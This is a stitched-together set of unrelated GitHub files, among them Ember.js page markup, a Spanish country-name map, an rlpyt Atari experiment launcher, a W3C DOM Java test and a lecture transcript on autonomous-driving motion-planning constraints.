0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
8 12 7 6 39 9 51 10 15 32 4 9 27 6 48 8 21 39 6 47 9 6 44 8 48 7 10 47 14 40 10 8 32 9 39 6 13 7 4 56 10 48 6 11 25 11 51 6 6 38 4 57 8 4 49 11 23 33 8 36 9 12 49 8 4 8 44 6 4 39 12 40 36 9 35 9 43 8 49 9 6 40 12 12 50 12 25 8 37 9 6 45 10 9 42 8 48 53 8 35 6 49 11 6 25 8 10 35 11 37 8 8 52 8 46 8 35 30 8 41 9 6 44 11 51 7 9 46 4 42 10 7 42 11 44 7 11 12 9 48 7 9 39 8 50 6 10 51 8 18 8 6 20 11 12 47 9 30 11 12 43 12 54 6 24 31 4 9 15 8 40 10 44 12 46 4 9 27 8 4 19 7 40 8 49 8 13 48 7 31 4 8 45 6 63 6 12 56 6 46 8 6 18 8 10 9 12 46 8 44 10 4 29 9 10 10 6 40 11 48 10 4 56 5 37 30 8 41 8 35 13 17 8 8 27 9 31 36 10 45 29 27 8 40 8 10 52 8 36 40 6 41 6 10 44 9 64 13 51 48 7 19 8 12 49 9 19 8 47 11 50 51 6 35 12 9 46 9 14 7 33 64 11 42 6 8 45 8
{ "pile_set_name": "Github" }
absvdi2 absvsi2 adddf3 adddf3vfp addsf3 addsf3vfp addvdi3 addvsi3 ashldi3 ashrdi3 bswapdi2 bswapsi2 clzdi2 clzsi2 cmpdi2 ctzdi2 ctzsi2 divdc3 divdf3 divdf3vfp divdi3 divmodsi4 divsc3 divsf3 divsf3vfp divsi3 eqdf2 eqdf2vfp eqsf2 eqsf2vfp extendsfdf2 extendsfdf2vfp ffsdi2 fixdfdi fixdfsi fixdfsivfp fixsfdi fixsfsi fixsfsivfp fixunsdfdi fixunsdfsi fixunsdfsivfp fixunssfdi fixunssfsi fixunssfsivfp floatdidf floatdisf floatsidf floatsidfvfp floatsisf floatsisfvfp floatundidf floatundisf floatunsidf floatunsisf floatunssidfvfp floatunssisfvfp gcc_personality_sj0 gedf2 gedf2vfp gesf2 gesf2vfp gtdf2 gtdf2vfp gtsf2 gtsf2vfp ledf2 ledf2vfp lesf2 lesf2vfp lshrdi3 ltdf2 ltdf2vfp ltsf2 ltsf2vfp moddi3 modsi3 muldc3 muldf3 muldf3vfp muldi3 mulodi4 mulosi4 mulsc3 mulsf3 mulsf3vfp mulvdi3 mulvsi3 nedf2 nedf2vfp negdi2 negvdi2 negvsi2 nesf2 nesf2vfp paritydi2 paritysi2 popcountdi2 popcountsi2 powidf2 powisf2 subdf3 subdf3vfp subsf3 subsf3vfp subvdi3 subvsi3 truncdfsf2 truncdfsf2vfp ucmpdi2 udivdi3 udivmoddi4 udivmodsi4 udivsi3 umoddi3 umodsi3 unorddf2 unorddf2vfp unordsf2 unordsf2vfp
{ "pile_set_name": "Github" }
Welcome back. In this video, we'll discuss some of the most important constraints involved in motion planning. These constraints are often crucial for maintaining stability and comfort within the vehicle, as well as maintaining the safety of all agents in a given driving scenario. Specifically, you will learn about how the vehicle kinematic and dynamic models constrain our motion planning for the vehicle. You will learn about how static and dynamic obstacles impact our vehicle motion planning. Finally, you will see how regulatory elements impact the behaviors available to us during the motion planning process. Let's get started. The first of the motion planning constraints we will work with is related to the vehicle kinematics. In motion planning for autonomous driving, as we have discussed in course one, the kinematics for the ego vehicle are often simplified to what is known as the kinematic bicycle model. One reason why this model is chosen is that bicycles have a range of acceptable steering angle values similar to a car. For a fixed velocity V, this range of steering angle values and delta corresponds to a range of admissible curvatures, kappa that the vehicle can follow. This means that when performing motion planning while using the bicycle model, there is a maximum magnitude of curvature that can be executed when traversing a given path denoted by kappa max. The same holds for autonomous cars. This means that the curvature of any path we plan needs to be mindful of this maximum curvature. Unfortunately, this is what's known as a non-holonomic constraint. Intuitively, this means that the constraint doesn't depend on the only the state of the robot, but also on how the robot got to its current state. Non-holonomic constraints reduce the number of directions a robot can take at any given point in its workspace. In general, non-holonomic constraints make the planning problem much more complex. Now you may be wondering how does curvature impact the shape of a given path in our motion plan. To give you an intuitive understanding of what curvature is, here we have an arbitrary curve. For each point along the path, we can fit a circle to that point based on the instantaneous rates of change of the curve in space at that particular point. This is analogous to the idea of the instantaneous center of rotation we use to derive the bicycle model in the first place. Based on the shape of the plot, it appears different points are more curvy than others. So, our intuition should be the different points along the curve will have different curvatures. For example, here we have a circle fit to a particular point on the curve. As you can see, it has quite a large radius r, and intuitive interpretation of the curvature is that it's the inverse of the radius of the circle fit to that particular point along the curve. Since this radius is quite large, this point has relatively low curvature, which can be seen from the plot as the point has a more gentle bent. If instead we look at a second point on this curve, we can see that it has a smaller radius as it compared to the previous point. This in turn corresponds to a point of higher curvature and can be seen from the plot, this point has much more aggressive bend than the previous point. While this circle fitting approach is useful as a geometric interpretation, a more precise mathematical formulation is given here for the curvature. It can be computed using the first and second order derivatives of the x and y components of a given path defined with respect to arc length. These arc length derivatives are given by x prime, y prime, x double prime, and y double prime. The next constraint will be discussing is derived from the vehicle dynamics. These dynamic constraints focus on keeping the car in a stable safe state. The first of the dynamics constraints is imposed by what is called the friction ellipse of the car. If you recall, we discussed tire slip and the friction ellipse in our bicycle model during course one. The friction ellipse denotes the maximum magnitude of the friction forces that can be generated between a car tire and the road. If the applied forces of the car's engine exceed the friction forces of the tire, the tires will slip on the road surface. The turning functionality of a vehicle relies on the tires gripping the road surface. So to maintain control and stability, the car must remain within the friction circle. At the end of the day, this boils down to lateral and longitudinal acceleration constraints. In general, though the acceleration constraints are often much higher than what is physically comfortable for the passengers inside the car. Therefore, in non-emergency situations we often focus on the comfort rectangle of accelerations. These values constrain, the lateral and longitudinal accelerations to each lie within a range of comfort, denoted on the longitudinal acceleration along and lateral acceleration alat axis. This is shown here, where the comfort rectangle in blue lies well within the friction ellipse shown in green. This results in a tighter constraint on the feasible accelerations for a motion plan than the friction ellipse requires. From the lateral acceleration constraints, as well as the curvature of the path, we have now indirectly constrained the velocity of the car. The velocity of the car V is a function of the lateral acceleration of the car alat, as well as the instantaneous turning radius of the path r. Recall that the instantaneous curvature along the path kappa is the inverse of the turning radius of the car. If we now combine these equations, we can see that the square of the velocity is constrained by the maximum lateral acceleration, alat max which is a constant, as well as the curvature of the path kappa, which changes at each point along the path. Because of this, it's clear that when we are generating a velocity profile for our autonomous vehicle, we have to take the curvature of the path as well as the vehicles maximum lateral acceleration into consideration. Static obstacles also provide constraints upon our path planning process. Since static obstacles such as a parked car or a construction pylon have fixed positions that do not change with time, they are often modeled by blocking out certain portions of the ego vehicles workspace. This concept will be covered in greater detail in module two of this course, where we discuss the occupancy grid map. Essentially, static obstacles constrain the locations that a car can occupy along its path. There are numerous ways to perform static collision checking. One way is to check the swath of the vehicle as it travels along a given path. This swath is the union of all positions occupied by the body of the ego vehicle, as the ego vehicle traverses the path. If the swath overlaps with a static obstacle, that path is infeasible. Another option for fast collision checking is to approximate the body of the car with a set of circles, and calculate the circle locations as the car moves along its path. If a static obstacle lies within any of the circles, then the path is deemed infeasible. The union of these circles is often larger than the body of the vehicle, ensuring a conservative approximation. We'll be discussing this in more detail in future lessons. Dynamic obstacles on the other hand provides some of the most challenging constraints on the motion planning problem. Different classes of dynamic obstacles such as cars, bicycles, and pedestrians will all have different behaviors and motion models. Constraining our motion plan based on the behavior of these other agents will often involve prediction, which is subject to uncertainty. However, if we take the conservative approach and constrain ourselves to all possible behaviors of all agents, our motion planning problem quickly becomes over-constrained and impossible to solve meaningfully. The degree to which we balance between the safety of conservatism and the aggressiveness required for forward progress, is an active area of autonomous driving research. As a simple example, a case where dynamic obstacles will constrain our motion will be at an intersection. If two cars are entering the intersection orthogonal to one another, then we have a potential crash scenario. One way to check for whether a collision will occur, is to track the angle formed by the ego vehicles direction of travel and the vector from the ego vehicles location to the other agent's location. If this angle is unchanging as time progresses, then the ego vehicle will collide with the other agent, and our motion planner will need to decelerate to prevent this. Therefore, the dynamic obstacle forces us to modify our behavior based on how the obstacle proceeds in our driving scenario. Another example which we discussed in the previous lesson was when a leading vehicle is present in front of the ego vehicle. This leading vehicle places an upper constraint on the ego vehicles longitudinal velocity, for if we exceed their speed while remaining in the same lane we will eventually crash. As you can see, dynamic obstacles will constrain both our behavior planning process, where we make maneuver decisions, as well as our local planning process, where it will affect our velocity profile planning. We will be discussing this in further detail in subsequent modules. The final constraint that we will discuss encompasses the rules of the road as well as the regulatory elements present in the ego vehicles workspace. While the rules of the road provides some constraints to the planning problem, they also help us make informed decisions about other agents behaviors in the environment. For example, oncoming traffic is highly likely to stay in its lane, and not try to collide with our ego vehicle head on. This can help reduce the search space when trying to predict what other agents will do. One of the most common constraints imposed by the rules of the road are the lane constraints. The lane constraints simply put, are there to prevent our motion plan from leaving the ego vehicles current lane unless it is legal to do so. Lane constraints also inform the ego vehicle where it is safe to perform turning maneuvers as well. There are other soft rules of the road that we need to respect as well, such as maintaining a time gap between the ego vehicle and leading vehicles in our lane. The time gap is the amount of time that it would take for the ego vehicle to reach the leading vehicles current position while traveling at the ego vehicle's current speed. Maintaining a sizable time gap helps ensure safety during motion planning, by giving the ego vehicle ample reaction time to events in the workspace. The regulatory elements in the workspace will also impact our driving behavior. The ego vehicle clearly needs to respect red lights and stop signs to ensure safety, but also needs to be aware of speed limits in different areas and other dynamic regulatory elements, such as those presented by construction sites. In general, regulatory elements will have a large impact on which behaviors are available to us when performing motion planning, and will be discussed in further detail in module five. Now that we've discussed many of the autonomous driving motion planning constraints, let's summarize what we've learned so far. In this video, we first reviewed our bicycle model, and looked at how the models kinematics and dynamics, as well as the path curvature constrain our motion planning problem. Next, we looked at how static obstacles limit the locations our car can safely occupy, which restricts our feasible motion planning workspace, as well as how dynamic obstacles impact the maneuvers available to the ego vehicle and its velocity profile. Finally, we discussed the role of regulatory elements and how they affect our driving behaviors. Hopefully, this lesson has given you some insight into some of the constraints of the motion planning problem for autonomous driving. In our next video, we'll dive into some of the optimization objectives used for solving the motion planning problem. See you there.
{ "pile_set_name": "Github" }
// SPANISH var lang = { "AD": "Andorra", "AE": "Emiratos Árabes Unidos (los)", "AF": "Afganistán", "AG": "Antigua y Barbuda", "AI": "Anguila", "AL": "Albania", "AM": "Armenia", "AO": "Angola", "AQ": "Antártida", "AR": "Argentina", "AS": "Samoa Americana", "AT": "Austria", "AU": "Australia", "AW": "Aruba", "AX": "Åland, Islas", "AZ": "Azerbaiyán", "BA": "Bosnia y Herzegovina", "BB": "Barbados", "BD": "Bangladesh", "BE": "Bélgica", "BF": "Burkina Faso", "BG": "Bulgaria", "BH": "Bahréin", "BI": "Burundi", "BJ": "Benín", "BL": "Saint Barthélemy", "BM": "Bermudas", "BN": "Brunéi", "BO": "Bolivia (Estado Plurinacional de)", "BQ": "Bonaire, San Eustaquio y Saba", "BR": "Brasil", "BS": "Bahamas (las)", "BT": "Bhután", "BV": "Bouvet, Isla", "BW": "Botswana", "BY": "Belarús", "BZ": "Belice", "CA": "Canadá", "CC": "Cocos / Keeling, (las) Islas", "CD": "Congo (la República Democrática del)", "CF": "República Centroafricana (la)", "CG": "Congo (el)", "CH": "Suiza", "CI": "Côte d'Ivoire", "CK": "Cook, (las) Islas", "CL": "Chile", "CM": "Camerún", "CN": "China", "CO": "Colombia", "CR": "Costa Rica", "CU": "Cuba", "CV": "Cabo Verde", "CW": "Curaçao", "CX": "Navidad, Isla de", "CY": "Chipre", "CZ": "República Checa (la)", "DE": "Alemania", "DJ": "Djibouti", "DK": "Dinamarca", "DM": "Dominica", "DO": "Dominicana, (la) República", "DZ": "Argelia", "EC": "Ecuador", "EE": "Estonia", "EG": "Egipto", "EH": "Sahara Occidental", "ER": "Eritrea", "ES": "España", "ET": "Etiopía", "FI": "Finlandia", "FJ": "Fiji", "FK": "Malvinas [Falkland], (las) Islas", "FM": "Micronesia (Estados Federados de)", "FO": "Feroe, (las) Islas", "FR": "Francia", "GA": "Gabón", "GB": "Reino Unido de Gran Bretaña e Irlanda del Norte (el)", "GD": "Granada", "GE": "Georgia", "GF": "Guayana Francesa", "GG": "Guernsey", "GH": "Ghana", "GI": "Gibraltar", "GL": "Groenlandia", "GM": "Gambia (la)", "GN": "Guinea", "GP": " Guadeloupe", "GQ": "Guinea Ecuatorial", "GR": "Grecia", "GS": "Georgia del Sur (la) y las Islas Sandwich del Sur", "GT": "Guatemala", "GU": "Guam", "GW": "Guinea Bissau", "GY": "Guyana", "HK": "Hong Kong", "HM": "Heard (Isla) e Islas McDonald", "HN": "Honduras", "HR": "Croacia", "HT": "Haití", "HU": "Hungría", "ID": "Indonesia", "IE": "Irlanda", "IL": "Israel", "IM": "Isla de Man", "IN": "India", "IO": "Territorio Británico del Océano Índico (el)", "IQ": "Iraq", "IR": "Irán (República Islámica de)", "IS": "Islandia", "IT": "Italia", "JE": "Jersey", "JM": "Jamaica", "JO": "Jordania", "JP": "Japón", "KE": "Kenya", "KG": "Kirguistán", "KH": "Camboya", "KI": "Kiribati", "KM": "Comoras (las)", "KN": "Saint Kitts y Nevis", "KP": "Corea (la República Popular Democrática de)", "KR": "Corea (la República de)", "KW": "Kuwait", "KY": "Caimán, (las) Islas", "KZ": "Kazajstán", "LA": "Lao, (la) República Democrática Popular", "LB": "Líbano", "LC": "Santa Lucía", "LI": "Liechtenstein", "LK": "Sri Lanka", "LR": "Liberia", "LS": "Lesotho", "LT": "Lituania", "LU": "Luxemburgo", "LV": "Letonia", "LY": "Libia", "MA": "Marruecos", "MC": "Mónaco", "MD": "Moldova (la República de)", "ME": "Montenegro", "MF": "Saint Martin (parte francesa)", "MG": "Madagascar", "MH": "Marshall, (las) Islas", "MK": "Macedonia (la ex República Yugoslava de)", "ML": "Mali", "MM": "Birmania", "MN": "Mongolia", "MO": "Región Administrativa Especial de Macao de la República Popular China", "MP": "Marianas del Norte, (las) Islas", "MQ": "Martinique", "MR": "Mauritania", "MS": "Montserrat", "MT": "Malta", "MU": "Mauricio", "MV": "Maldivas", "MW": "Malawi", "MX": "México", "MY": "Malasia", "MZ": "Mozambique", "NA": "Namibia", "NC": "Nueva Caledonia", "NE": "Níger (el)", "NF": "Norfolk, Isla", "NG": "Nigeria", "NI": "Nicaragua", "NL": "Países Bajos (los)", "NO": "Noruega", "NP": "Nepal", "NR": "Nauru", "NU": "Isla Niue", "NZ": "Nueva Zelandia", "OM": "Omán", "PA": "Panamá", "PE": "Perú", "PF": "Polinesia Francesa", "PG": "Papúa Nueva Guinea", "PH": "Filipinas (las)", "PK": "Pakistán", "PL": "Polonia", "PM": "San Pedro y Miquelón", "PN": "Pitcairn", "PR": "Puerto Rico", "PS": "Palestina, Estado de", "PT": "Portugal", "PW": "Palau", "PY": "Paraguay", "QA": "Qatar", "RE": "Reunión", "RO": "Rumanía", "RS": "Serbia", "RU": "Rusia, (la) Federación de", "RW": "Rwanda", "SA": "Arabia Saudita", "SB": "Salomón, Islas", "SC": "Seychelles", "SD": "Sudán (el)", "SE": "Suecia", "SG": "Singapur", "SH": "Santa Helena, Ascensión y Tristán de Acuña", "SI": "Eslovenia", "SJ": "Svalbard y Jan Mayen", "SK": "Eslovaquia", "SL": "Sierra Leona", "SM": "San Marino", "SN": "Senegal", "SO": "Somalia", "SR": "Suriname", "SS": "Sudán del Sur", "ST": "Santo Tomé y Príncipe", "SV": "El Salvador", "SX": "Sint Maarten (parte neerlandesa)", "SY": "República Árabe Siria", "SZ": "Suazilandia", "TC": "Turcas y Caicos, (las) Islas", "TD": "Chad", "TF": "Tierras Australes Francesas (las)", "TG": "Togo", "TH": "Tailandia", "TJ": "Tayikistán", "TK": "Tokelau", "TL": "Timor-Leste", "TM": "Turkmenistán", "TN": "Túnez", "TO": "Tonga", "TR": "Turquía", "TT": "Trinidad y Tobago", "TV": "Tuvalu", "TW": "Taiwán (Provincia de China)", "TZ": "Tanzania, República Unida de", "UA": "Ucrania", "UG": "Uganda", "UM": "Islas Ultramarinas Menores de los Estados Unidos (las)", "US": "Estados Unidos de América (los)", "UY": "Uruguay", "UZ": "Uzbekistán", "VA": "Santa Sede (la)", "VC": "San Vicente y las Granadinas", "VE": "Venezuela (República Bolivariana de)", "VG": "Vírgenes británicas, Islas", "VI": "Vírgenes de los Estados Unidos, Islas", "VN": "Viet Nam", "VU": "Vanuatu", "WF": "Wallis y Futuna", "WS": "Samoa", "YE": "Yemen", "YT": "Mayotte", "ZA": "Sudáfrica", "ZM": "Zambia", "ZW": "Zimbabwe", }; export default lang;
{ "pile_set_name": "Github" }
import sys import copy from rlpyt.utils.launching.affinity import encode_affinity, quick_affinity_code from rlpyt.utils.launching.exp_launcher import run_experiments from rlpyt.utils.launching.variant import make_variants, VariantLevel args = sys.argv[1:] assert len(args) == 2 my_computer = int(args[0]) num_computers = int(args[1]) print(f"MY_COMPUTER: {my_computer}, NUM_COMPUTERS: {num_computers}") script = "rlpyt/ul/experiments/rl_with_ul/scripts/atari/train/atari_ppo_with_ul_serial.py" affinity_code = quick_affinity_code(contexts_per_gpu=3) runs_per_setting = 2 experiment_title = "atari_ppo_with_ul_schedule_2" variant_levels_1 = list() # variant_levels_2 = list() # variant_levels_3 = list() stop_conv_grads = [True] rl_grad_norms = [1e4] values = list(zip(stop_conv_grads, rl_grad_norms)) dir_names = ["{}stpcnvgrd_{}rlgrdnrm".format(*v) for v in values] keys = [("model", "stop_conv_grad"), ("algo", "clip_grad_norm")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) min_steps_rl = [1e5] min_steps_ul = [5e4] # start it a little earlier values = list(zip(min_steps_rl, min_steps_ul)) dir_names = ["{}rlminstepsul{}".format(*v) for v in values] keys = [("algo", "min_steps_rl"), ("algo", "min_steps_ul")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) ul_update_schedules = [ "cosine_4", "linear_4", "quadratic_6", "cosine_5", "linear_6", "quadratic_9", ] max_steps_ul = [None] * 3 + [15e6] * 3 # ~22k updates total values = list(zip(ul_update_schedules, max_steps_ul)) dir_names = ["{}_{}maxstepul".format(*v) for v in values] keys = [("algo", "ul_update_schedule"), ("algo", "max_steps_ul")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) ul_lr_anneals = [None, "cosine"] values = list(zip(ul_lr_anneals)) dir_names = ["{}anneal".format(*v) for v in values] keys = [("algo", "ul_lr_schedule")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) ul_rs_probs = [0.1, 1.] values = list(zip(ul_rs_probs)) dir_names = ["{}rsprob".format(*v) for v in values] keys = [("algo", "ul_random_shift_prob")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) # games = ["pong", "qbert", "seaquest", "space_invaders", # "alien", "breakout", "frostbite", "gravitar"] # games = ["breakout", "gravitar", "qbert", "space_invaders"] games = ["breakout", "space_invaders"] values = list(zip(games)) dir_names = games keys = [("env", "game")] variant_levels_1.append(VariantLevel(keys, values, dir_names)) # variant_levels_2.append(VariantLevel(keys, values, dir_names)) # variant_levels_3.append(VariantLevel(keys, values, dir_names)) ################################################## # RL CONFIG (mostly) ################################################## # RL CONFIG (mostly) variants_1, log_dirs_1 = make_variants(*variant_levels_1) # variants_2, log_dirs_2 = make_variants(*variant_levels_2) variants = variants_1 # + variants_2 log_dirs = log_dirs_1 # + log_dirs_2 num_variants = len(variants) variants_per = num_variants // num_computers my_start = my_computer * variants_per if my_computer == num_computers - 1: my_end = num_variants else: my_end = (my_computer + 1) * variants_per my_variants = variants[my_start:my_end] my_log_dirs = log_dirs[my_start:my_end] default_config_key = "ppo_ul_16env" run_experiments( script=script, affinity_code=affinity_code, experiment_title=experiment_title, runs_per_setting=runs_per_setting, variants=my_variants, log_dirs=my_log_dirs, common_args=(default_config_key,), )
{ "pile_set_name": "Github" }
/* This Java source file was generated by test-to-java.xsl and is a derived work from the source document. The source document contained the following notice: Copyright (c) 2001 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. This program is distributed under the W3C's Software Intellectual Property License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See W3C License http://www.w3.org/Consortium/Legal/ for more details. */ package org.w3c.domts.level1.core; import org.w3c.dom.*; import org.w3c.domts.DOMTestCase; import org.w3c.domts.DOMTestDocumentBuilderFactory; /** * The "insertData(offset,arg)" method will insert a string * at the specified character offset. Insert the data at * the beginning of the character data. * Retrieve the character data from the second child of * the first employee. The "insertData(offset,arg)" * method is then called with offset=0 and arg="Mss.". * The method should insert the string "Mss." at position 0. * The new value of the character data should be * "Mss. Margaret Martin". * @author NIST * @author Mary Brady * @see <a href="http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core#ID-3EDB695F">http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core#ID-3EDB695F</a> */ public final class characterdatainsertdatabeginning extends DOMTestCase { /** * Constructor. * @param factory document factory, may not be null * @throws org.w3c.domts.DOMTestIncompatibleException Thrown if test is not compatible with parser configuration */ public characterdatainsertdatabeginning(final DOMTestDocumentBuilderFactory factory) throws org.w3c.domts.DOMTestIncompatibleException { super(factory); // // check if loaded documents are supported for content type // String contentType = getContentType(); preload(contentType, "staff", true); } /** * Runs the test case. * @throws Throwable Any uncaught exception causes test to fail */ public void runTest() throws Throwable { Document doc; NodeList elementList; Node nameNode; CharacterData child; String childData; doc = (Document) load("staff", true); elementList = doc.getElementsByTagName("name"); nameNode = elementList.item(0); child = (CharacterData) nameNode.getFirstChild(); child.insertData(0, "Mss. "); childData = child.getData(); assertEquals("characterdataInsertDataBeginningAssert", "Mss. Margaret Martin", childData); } /** * Gets URI that identifies the test. * @return uri identifier of test */ public String getTargetURI() { return "http://www.w3.org/2001/DOM-Test-Suite/level1/core/characterdatainsertdatabeginning"; } /** * Runs this test from the command line. * @param args command line arguments */ public static void main(final String[] args) { DOMTestCase.doMain(characterdatainsertdatabeginning.class, args); } }
{ "pile_set_name": "Github" }
